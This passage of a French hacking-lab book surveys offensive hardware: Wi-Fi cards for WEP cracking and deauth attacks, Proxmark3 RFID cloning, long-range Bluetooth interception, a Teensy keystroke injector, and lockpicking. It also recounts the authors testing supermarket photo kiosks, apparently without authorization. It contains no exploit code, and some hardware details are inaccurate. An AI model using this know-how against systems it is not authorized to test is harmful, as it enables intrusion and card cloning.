La Wifi-Box est en fait une carte Wi-Fi USB équipée d’une puce Realtek 8187 qui possède

une portée de réception 10 fois supérieure à celle d’une carte Wi-Fi standard (selon le

constructeur), qui couvre 2,4 GHz et qui respecte la norme 802.11g3.

Comme pour le kit décrit plus haut, c’est un matériel de type Alfa qui est interdit en France (si

la puissance est supérieure à 500 mW).

Il faut brancher la box sur le port USB du PC et booter avec le CD d’utilitaires fourni pour

cracker du WEP.

Le CD est en fait une BackTrack 3 bootable sur laquelle le fabricant a intégré d’office le

module Spoonwep2. Ce module n’est rien d’autre qu’un frontend à aircrack dont nous avons

parlé plus haut.

Il existe aussi Spoonwpa2 pour le WPA qui permet de trouver une clé via une attaque par

brute force ou dictionnaire mais il semblerait que la Wifi-Box ne fonctionne pas pour cela

ainsi que pour du WPA-PSK ou WPA2.

4. Routeur Wi-Fi

Nous aurons aussi besoin d’un routeur Wi-Fi. Nous conseillons un routeur Linksys avec DD-

WRT.

DD-WRT est un firmware alternatif open source basé sur Linux et adapté à une grande variété

de routeurs WLAN et de systèmes embarqués. Le principal atout est de fournir la

manipulation la plus simple possible tout en ayant en même temps un grand nombre de

fonctionnalités.

L’interface utilisateur graphique est logiquement structurée, et elle est exploitée via un

navigateur web standard, de sorte que même les non-techniciens peuvent configurer le

système en quelques étapes simples.

Outre le maniement simple, la vitesse et la stabilité font également partie de l’objectif du

travail de développement. Par rapport au logiciel préinstallé sur de nombreux routeurs

WLAN, DD-WRT permet un fonctionnement fiable avec une fonctionnalité nettement plus

importante que demandent également les exigences de déploiement professionnel.

La communauté d’utilisateurs offre du soutien aux développeurs DD-WRT ainsi que les

utilisateurs eux-mêmes de différentes manières. Les failles potentielles dans le système

peuvent être détectées très rapidement et peuvent donc être corrigées sans délai. Les

utilisateurs DD-WRT peuvent trouver de l’aide et des conseils d’autres utilisateurs sur les

forums d’utilisateurs et le Wiki contient des informations supplémentaires et des guides

pratiques, il est maintenu par la communauté DD-WRT.

Pour les appareils utilisés principalement à des fins privées, DD-WRT est

disponible gratuitement. Les plates-formes utilisées à des fins commerciales nécessitent une

licence payante. Par rapport à la version librement disponible, la version professionnelle

permet également de configurer les paramètres sans fil, ouvrant ainsi la possibilité de créer

par exemple des infrastructures de réseau fiables et performantes. Des exigences particulières

peuvent être satisfaites par des versions spécialement adaptées de DD-WRT.

Principales caractéristiques :

Prise en charge de plus de 200 appareils différents.

Fonctionnalités complètes.

Prise en charge de tous les standards WLAN actuels (802.11a/b/g/n ).

Intégration VPN.

Prise en charge de divers systèmes de Hotspot.

Gestion de la bande passante.

Interface utilisateur multilingue.

DD-WRT jusqu’à la version v22 était fondée sur le micrologiciel Alchemy de Sveasoft, qui

lui-même était fondé sur la version originale du micrologiciel Linksys. DD-WRT depuis la

version v23 a été presque intégralement réécrit.

5. Wi-Fi Alfa USB

Une première version de l’Alpha, l’Alpha 500 de la société Alpha Network, est sortie en 2007

et était bridée à 500 mW. En 2009, une nouvelle version avec une puissance de 1000 mW

(soit 30 db) et une sensibilité de -99 dBm a vu le jour, l’Alpha Network Awus036h.

La sensibilité est le choix évident pour les pirates Wi-Fi. Elle supporte le 802.11 b/g/n et

embarque un chipset Atheros AR9271, un chipset alimenté par USB, et offre trois modes sans

fil (manage, adhoc, monitor). Reconnue par les systèmes d’exploitation récents (y compris

BackTrack 5 R1), elle peut aussi être utilisée dans une machine virtuelle en passant bien sûr

par l’USB.

Depuis la version de firmware 2.2.0, elle peut être utilisée pour les attaques deauth (attaque

qui désauthentifie les personnes connectées) et bien plus encore.

Elle est parfaite pour une utilisation avec la suite aircrack-ng, les modules sans fil Metasploit,

kismet et d’autres utilitaires de pentesting.

Spécifications matérielles :

Atheros chipset 9271

802.11 b/g/n 150 Mbps

canaux de 2,400 à 2,487 GHz 1-14

28 dBm txpower

RFID

1. Distribution Linux

Nous retrouvons de nos jours les technologies RFID (Radio-Frequency IDentification) un peu

partout dans notre quotidien. Le gros inconvénient pour le moment est le manque de sécurité,

non pas de la technologie, mais de l’utilisation que l’on en fait ou de la manière de l’exploiter.

Nos badges d’accès, les antivols dans les magasins, les passeports, les puces d’identification

de nos animaux domestiques, les jouets, entre autres, utilisent le RFID.

Un groupe de développeurs a donc décidé de créer une distribution bootable à base de Fedora,

la « RFID Live Hacking System ». Disponible sous la forme d’un fichier ISO de 663 Mo, la

distribution est capable de fonctionner depuis un CD et nécessite un processeur x86-64

(attention donc aux anciens systèmes).

Elle intègre quelques outils pour récupérer des informations sur des périphériques RFID, avec

bien évidemment l’aide d’un lecteur adapté ; nous pouvons en trouver à partir d’une vingtaine

d’euros. Nous trouvons aussi des outils pour lire et récupérer des informations dans les cartes

de type « Mifare », utilisées par exemple dans les hôtels, dans certains réseaux de transports

en commun, etc.

Il faudra bien sûr acheter le matériel correspondant que nous allons voir par la suite mais nous

pouvons fabriquer nous-mêmes des lecteurs.

Exemple de schéma de circuit électronique trouvé sur le Net

Schéma de circuit électronique normalisé

L’homme est aussi depuis quelques années « implanté ». Dans certains pays, la loi l’autorise

et récemment une université américaine a imposé pour ses étudiants l’implant RFID pour une

question de « sécurité ».

D’autres utilisations en sont faites sur l’homme :

Le contrôle d’accès pour les militaires.

Le suivi des malades mentaux.

Le paiement rapide dans les bars.

L’injection de l’implant se fait principalement dans la main (paiement) ou dans le bras.

Le RFID est donc partout et se développe énormément.

2. Nabaztag

Si nous souhaitons avoir du matériel RFID bon marché, nous allons nous diriger vers les

jouets comme le Nabaztag.

Le Nabaztag (mot arménien pouvant être traduit par « lièvre ») est un objet communicant

représentant un lapin. Il est lancé en juin 2005 puis en 2006, il sort dans sa version avancée :

le Nabaztag:tag.

Nous pouvons nous le procurer bien sûr sur le site officiel mais aussi sur un site de vente aux

enchères. Il est fourni avec un lecteur dans le lapin et avec des tags.

Un tag RFID est une balise métallique contenant des informations (allant d’un identifiant à

des données personnelles).

3. Proxmark3

L’idéal est d’acquérir le proxmark3, un outil qui permet de lire, d’écrire, de sniffer et de

copier des cartes RFID.

Le proxmark3 est un outil RFID formidable, d’une taille très raisonnable. Nous pourrons nous

amuser avec les fréquences de 125 kHz et 13.56 MHz.

Il est possible avec ce matériel de cloner des cartes RFID, c’est-à-dire, à partir d’une carte du

commerce, d’en refaire une sur une carte vierge.

Nous pourrons aussi lire les puces RFID, les écrire, étudier le contenu des tags…

De nombreuses possibilités s’offrent à nous et de nombreux tutoriaux et vidéos en parlent.

Des conférences sont aussi dédiées à ce matériel comme au « hacknowledge-contest Europe

Afrique » (http://www.hacknowledge-contest.org) où Sébastien Lasson de l’association

ACISSI fait un tour des cartes à puce et RFID pour terminer par l’utilisation du proxmark, ce

dernier étant un thème du laboratoire Recherche et Développement de l’association.

4. Lecteur de cartes RFID 125 KHz

Moins coûteux que le proxmark, ce lecteur qui ne travaille que sur une fréquence de 125 KHz.

Nous pouvons lire sur le site du revendeur : « le lecteur électronique RFID 125 KHz est un

module utilisé pour lire des informations uem4100 avec deux formats de sortie : UART et

Wiegand. Il a une sensibilité élevée avec une distance maximum de détection de 7 cm. Les

quatre pins de l’interface électronique le rendent facile à utiliser avec un Arduino ou un

teensy. »

Format de sortie sélectionnable : Uart ou Wiegand

Quatre interfaces

Haute sensibilité

Caractéristiques principales :

Tension d’alimentation : 5 V

Distance maximale de détection : 7 cm

UART de sortie : sortie TTL, 9600 baudrate, 8 bits de données, 1 bit d’arrêt, pas de

bits de vérification.

Sortie Wiegand : 26 bits au format Wiegand, 1 bit de vérification, 24 bits de données

et 1 bit de parité.

5. Fabriquer soi-même

Il est toujours possible de tout fabriquer soi-même ; Elektor fournit par exemple de bons

montages. Sur le site suivant, nous retrouvons la démarche complète de fabrication d’un

lecteur RFID avec fabrication des antennes :

http://78.229.172.208/ELEKTOR/RFID_EXPERIMENTAL.html


http://78.229.172.208/ELEKTOR/RFID_EXPERIMENTAL.html

Bluetooth

Une autre manière de communiquer sans fil est bien sûr le Bluetooth. Nos ordinateurs, nos

smartphones, nos GPS et autres utilisent le Bluetooth. Mais il est rare que par défaut le

matériel soit très puissant. Il existe heureusement beaucoup de matériels Bluetooth

disponibles sur la toile.

1. Adaptateur Bluetooth

Si vous ne disposez pas de Bluetooth intégré, il existe de nombreuses clés USB Bluetooth.

Voici ci-dessous un exemple parmi tant d’autres.

2. Ubertooth

Le « Ubertooth One » est un projet open source d’une plate-forme de développement sans fil

2,4 GHz pour l’étude du Bluetooth de Michael Ossmann. Il s’agit du premier contrôleur

Bluetooth abordable par tout un chacun qui peut être utilisé pour la surveillance de

connexions Bluetooth et pour le développement de nouvelles technologies Bluetooth et sans

fil. Basé sur le microcontrôleur LPC175x ARM Cortex-M3 avec un USB full-speed USB 2.0,

l’Ubertooth One est le meilleur moyen de développer des périphériques Bluetooth Class 1

customisés, et là aussi c’est du hacking. Il possède un connecteur USB-A et un connecteur

RP-SMA.

Rien d’équivalent n’a jamais été commercialisé comme matériel Bluetooth de hacking avant

Ubertooth One, une plate-forme entièrement open source (matériel et logiciel).

Les schémas et codes sources sont disponibles pour tous nos besoins en hacking…

3. Transmetteur Bluetooth

Le AIRcable Host XR de Wireless Cables, amplificateur de signal, peut atteindre une portée

de 30 km s’il est installé par un professionnel, grâce à une antenne directionnelle 18 dBi. Tout

ce que nous avons à faire, c’est de brancher le AIRcable Host XR à un port USB d’un

ordinateur et c’est prêt. Il est compatible avec Linux, Mac et Windows, et il supporte

pratiquement tous les profils Bluetooth disponibles. Comme le AIRcable Host XR est

alimenté par bus, il n’y a pas besoin d’un adaptateur secteur.

Nous pouvons aisément voir les possibilités d’exploitation de ce matériel, nous pourrions en

théorie à distance récupérer les signaux des oreillettes Bluetooth, des smartphones, des PC...

Cartes à puce

Les cartes bancaires ne sont pas sécurisées, c’est bien connu.

Il suffit de rechercher sur Internet et nous trouvons les failles découvertes sur cette

technologie.

Par exemple, une étude menée par l’université de Cambridge démontre la faiblesse de celles-

ci : http://www.numerama.com/magazine/17684-cambridge-refuse-de-censurer-une-these-sur-

l-insecurite-des-cartes-bancaires.html

Nous pouvons aussi nous reporter à l’étude de Renaud Lifchitz sur les failles RFID des

nouvelles cartes bancaires : http://www.pcinpact.com/news/70412-cartes-paiement-sans-

contact-defaut-securisation.htm

Nous aurons donc besoin aussi de matériel...

1. Lecteur de cartes à puce

Les lecteurs de cartes à puce en vente sur le web sont multiples et les prix varient en fonction

du fabricant et de la technologie. Mais on peut pour un prix très raisonnable se procurer un

lecteur.

Tous les lecteurs de cartes à puce sont capables d’écrire dans les cartes à puce, pour peu que

ces dernières l’autorisent.

http://www.numerama.com/magazine/17684-cambridge-refuse-de-censurer-une-these-sur-l-insecurite-des-cartes-bancaires.html

http://www.numerama.com/magazine/17684-cambridge-refuse-de-censurer-une-these-sur-l-insecurite-des-cartes-bancaires.html

http://www.pcinpact.com/news/70412-cartes-paiement-sans-contact-defaut-securisation.htm

http://www.pcinpact.com/news/70412-cartes-paiement-sans-contact-defaut-securisation.htm

Si nous utilisons des cartes vierges telles que les cartes Gold, Silver, Fun ou Jupiter, il nous

faut un programmateur qui va programmer le microcontrôleur de la carte et/ou sa mémoire

EEPROM, au moins pendant la phase de développement de notre application. Une fois cette

carte programmée, et si nous avons écrit un programme compatible des normes ISO 7816 3 et

4, un lecteur classique pourra ensuite être utilisé pour lire et écrire dans notre carte.

Si nous utilisons des cartes personnalisables comme les cartes ACOS 1 ou 2 ou encore des

cartes à puce à OS ouvert comme la Basic Card que nous verrons dans la section suivante, un

lecteur classique suffit.

Le programmateur n’est nécessaire que pour les cartes initialement vierges car elles ne

peuvent pas dialoguer avec quoi que ce soit dans cet état.

2. Basic Card

La Basic Card est une carte à OS ouvert, c’est-à-dire qu’elle contient un microcontrôleur

programmé avec un interpréteur de P code. Ce qui est plus original, c’est que ce P code

provient du résultat de la compilation par l’outil de développement d’un programme écrit en

Basic.

Le Basic se rapproche plus du C que du GWBasic des premiers PC.

C’est cette simplicité de programmation qui fait une partie de l’intérêt de la Basic Card. En

effet, si nous savons ce qu’est une carte à puce, il ne nous faudra que quelques heures pour

arriver à développer une application opérationnelle.

De très bons livres dont ceux de Patrick Gueule expliquent en détail le fonctionnement des

cartes à puce et expliquent la programmation grâce à Basic des cartes à puce.

Autre intérêt majeur de cette approche : l’outil de développement nécessaire est totalement

gratuit. Il peut être librement téléchargé sur le site Internet spécialement consacré à la Basic

Card, à l’adresse www.basiccard.com

Nous pouvons utiliser le langage Basic que ce soit pour programmer la carte ou aussi pour

développer l’application du côté terminal qui utilisera la carte.

http://www.basiccard.com/

Il n’est donc pas nécessaire d’apprendre ou d’utiliser un nouveau langage pour programmer

l’application côté lecteur.

Enfin, l’outil de développement intègre un simulateur de carte qui nous permet, sans posséder

le moindre lecteur ni la moindre carte, de tester notre application. La rubrique « tutoriels » du

site nous présente d’ailleurs quelques exemples d’utilisation de ce remarquable outil.

Pour nous donner une idée de la structure d’un programme, voici un petit exemple :

DefByte I-R ’ toute variable commençant par une lettre de I à R

est de type Byte

Private Iter ’ type Byte

Public Radius! = 1 ’ type Single, affectation avec conversion

Public Pistr$ = "3.1416"

Public Pi As Single = Val!(Pistr$)

Eeprom S1 As String*5 = "ABC" ’ complété avec des octets NULL

Public S2 As String*3 = &H81, &H82, &H83

Private S3 As String*7 = 3, 4, "XYZ" ’ = 3, 4, 88, 89, 90, 0, 0

Eeprom CustomerName$ = "" ’

Eeprom Balance& = 500 ’

For J=1 to 8 Do J=J+1 ’ J est declare implicitement et est de type Byte

Cartes magnétiques

Les cartes magnétiques sont aussi très répandues et encore très utilisées, surtout dans d’autres

pays que la France.

Une carte à bande magnétique est une carte capable de stocker des données en modifiant le

magnétisme de minuscules particules à base de fer sur une bande de matériau sur la carte.

Nous avions il y a encore quelques années des cassettes à bandes que nous mettions dans

notre poste radio ou notre walkman, mot qui pour les moins de 30 ans ne doit plus rien dire

(disons une sorte de lecteur mp3 mais à bande magnétique).

La bande magnétique de la carte, parfois appelée piste magnétique, est lue par une tête de

lecture magnétique.

Nous pouvons d’ailleurs créer un lecteur de cartes magnétiques grâce à des lecteurs de

cassettes que nous pouvons encore trouver sur des sites d’enchères ou dans les brocantes pour

quelques euros. Les schémas de montages et explications se trouvent sur le web facilement.

L’invention date de la seconde guerre mondiale pour l’enregistrement audio. Dans les années

1950, l’enregistrement magnétique des données informatiques numériques sur bande de

plastique recouverte d’oxyde de fer a été inventé. En 1960, IBM a utilisé la bande magnétique

afin de développer un moyen fiable d’obtenir des bandes magnétiques sur des cartes

plastiques, en vertu d’un contrat avec le gouvernement américain pour un système de sécurité.

Beaucoup de normes ont été éditées afin de standardiser l’utilisation de ces cartes. Tout y est

défini :

Les propriétés physiques de la carte.

La taille.

La flexibilité.

L’emplacement de la piste magnétique.

Les caractéristiques magnétiques des formats de données.

Les organismes de normalisation fournissent également des normes pour les cartes

financières, y compris la répartition des plages de numéros de carte entre différents instituts

d’émission.

Autres matériels

D’autres matériels vont nous être très utiles car ils sont programmables à souhait. Nous

pourrons avec eux simuler un clavier sur un port USB, effectuer des brutes forces

automatiques, fabriquer des pirates box….

1. Arduino

Sur le site Arduino, http://www.arduino.cc/, nous pouvons lire :

« Le système Arduino est un outil pour fabriquer de petits ordinateurs qui peuvent capter et

contrôler davantage de choses du monde matériel que votre ordinateur de bureau.

C’est une plate-forme open source d’électronique programmée qui est basée sur une simple

carte à microcontrôleur (de la famille AVR), et un logiciel, véritable environnement de

développement intégré, pour écrire, compiler et transférer le programme vers la carte à

microcontrôleur.

Arduino peut être utilisé pour développer des objets interactifs, pouvant recevoir des entrées

d’une grande variété d’interrupteurs ou de capteurs, et pouvant contrôler une grande variété

de lumières, moteurs ou toutes autres sorties matérielles. Les projets Arduino peuvent être

autonomes, ou bien ils peuvent communiquer avec des logiciels tournant sur votre ordinateur

(tels que Flash, Processing ou MaxMSP). Les cartes électroniques peuvent être

http://www.arduino.cc/

fabriquées manuellement ou bien être achetées préassemblées ; le logiciel de développement

open source peut être téléchargé gratuitement.

Le langage de programmation Arduino est une implémentation de Wiring, une plate-forme de

développement similaire, qui est basée sur l’environnement multimédia de programmation

Processing. »

L’Arduino est assez simple de prise en main. Sa programmation est un pseudolangage C.

L’exemple suivant nous montre la structure d’un programme.

void setup() {

Serial.begin(9600); // initialise la communication série

// vérifier que le débit utilisé est le même dans le terminal

série

}

void loop() {

int sensorValue = analogRead(A0); // lit la valeur analogique

// sur la broche A0 et met le résultat dans la variable

Serial.println(sensorValue, DEC); // affiche la variable dans

le terminal série

}

Nous voyons qu’il n’y a rien de très compliqué. L’Arduino est par exemple utilisé dans la

fabrication d’une imprimante 3D, dans des robots comme la coupe de robotique diffusée par

E=M6 il y a quelques années et dans bien d’autres applications.

2. Teensy

Le Teensy est un des premiers matériels « low cost » comportant un processeur qui nous a

permis nos premiers « hacks » hardwares. Il est aussi utilisé dans certains hacks de consoles

de jeux par exemple.

Le Teensy est un « stick » sur une base d’AVR AT90USB1286 de Atmel, à peine plus grand

qu’une Arduino pro mini, et programmable avec l’IDE Arduino.

Nous pouvons acheter un boîtier qui le fera ressembler à une clé USB et qui le rendra donc

beaucoup moins visible pour des utilisations en société.

Il a la particularité d’avoir un port USB hardware (device only) compatible avec la librairie

LUFA.

Le Teensy est programmable soit avec l’IDE Arduino, soit avec le langage C « pur ».

Une des idées que nous avions eues était de tester les bornes de développement photo placées

surtout dans les grandes surfaces.

Nous avions donc programmé le Teensy en clavier USB qui ouvrait le menu Démarrer et qui

lançait la console DOS. Ensuite nous faisions un ipconfig /all puis un ping sur une adresse

interne pour finir par un ping sur une adresse externe. Et tout cela en mode automatique.

Voici un exemple de programme :

// press and hold CTRL

Keyboard.set_modifier(MODIFIERKEY_CTRL);

Keyboard.send_now();

// press ALT while still holding CTRL

Keyboard.set_modifier(MODIFIERKEY_CTRL | MODIFIERKEY_ALT);


// press DELETE, while CLTR and ALT still held

Keyboard.set_key1(KEY_DELETE);


// release all the keys at the same instant

Keyboard.set_modifier(0);

Keyboard.set_key1(0);


Lock picking

D’après Wikipédia : « Le crochetage est une technique d’ouverture de serrure dite « fine ».

Cela signifie qu’elle permet d’ouvrir la serrure à l’aide d’outils spécifiques appelés crochets

ou parapluies sans détruire la serrure. Le crochetage inclut l’ouverture de tous les types de

serrures, y compris à clés magnétiques ou électroniques. »

Pourquoi cela ici ? Parce que le lock picking ou crochetage fait partie du hacking et de

l’arsenal du pirate. Il s’en sert pour arriver physiquement face à l’ordinateur cible.

Le kit de lockpicking est totalement interdit en France sauf pour les serruriers.

Mais pour une utilisation en laboratoire, sans jamais le sortir et voyager avec, il permet

d’étudier ces techniques et d’essayer bien sûr de trouver des contre-mesures.

Carte SIM

Avec le lecteur de cartes SIM, nous pouvons facilement gérer les données de l’annuaire de

notre carte SIM GSM et régulièrement créer une copie de sauvegarde des données en cas de

perte ou de mise à niveau du téléphone. Le lecteur de cartes SIM est un lecteur USB de

gestion des cartes SIM pour téléphones portables, également compatible avec les cartes

UMTS USIM de la troisième génération de la téléphonie mobile. Il fait également office de

lecteur de cartes à puce compatible PC/SC (Personal Computer/Smart Card) pour les

applications de sécurité PC, compatible avec tous les types de cartes à puce aujourd’hui

disponibles sur le marché.

Récupération de données

Il est aussi nécessaire de pouvoir effectuer des récupérations de données.

1. Adaptateur USB vers SATA et IDE

Nous aurons souvent besoin de récupérer rapidement les données d’un disque dur via l’USB.

Il existe pour cela des adaptateurs peu coûteux.

2. Bloqueur d’écriture

Un bloqueur est un périphérique informatique permettant à un ordinateur de consulter le

contenu d’un support numérique (disque dur, carte mémoire...) sans en modifier le contenu.

Sur le site http://www.ibou.fr/forensic/page6/page6.html, nous pouvons par exemple trouver

le UF2PSATA22.

Le UF2PSATA22, par exemple, est un bloqueur externe USB 2 et FireWire 400 (côté PC

d’analyse) pour disques durs SATA et ATA 3,5". Ce bloqueur dispose d’un commutateur

pour activer la fonction lecture/écriture ou lecture seule. Pratique pour analyser le contenu

d’un disque sans avoir à le retirer de la machine.

3. Bus Pirate

Bus Pirate est un outil faisant communiquer n’importe quel périphérique avec un ordinateur,

via la plupart des protocoles standard incluant I2C, SPI et UART, à une tension comprise

entre 0 et 5,5V DC.

Il est particulièrement utile dans les phases de prototypage, de dépannage ou lors d’utilisation

de matériels inconnus.

http://www.ibou.fr/forensic/page6/page6.html

C’est pourquoi il va nous être très utile pour faire du reverse engineering, pour déterminer le

protocole de communication entre deux matériels ou pour surveiller un dialogue.

La version 4 est la dernière génération de carte Bus Pirate. Encore au stade expérimental, elle

n’est pas aussi stable que les versions précédentes. La version Bus Pirate V3, moins chère,

plus stable et aux fonctionnalités générales similaires, est recommandée pour les nouveaux

utilisateurs.

Conclusion

Nous venons de faire un tour, comme dit en introduction, non exhaustif du matériel

nécessaire.

Certains matériels sont peu coûteux mais les prix peuvent vite grimper. Nous n’avons pas

parlé par exemple de l’USRP, matériel très utile mais d’un prix supérieur à 2000 euros.

Ce matériel ne s’acquiert pas bien sûr dès le premier mois de fabrication du laboratoire mais

petit à petit. L’achat de tout ce qui est décrit dans ce chapitre nous a pris plusieurs années.

Il sera aussi nécessaire d’avoir d’autres appareils : oscilloscope numérique, analyseur de

spectre, multimètre, fer à souder, composants...

Documents

Hacking - Un Labo Virtuel Pour Auditer Et Mettre en Place Des Contre-mesures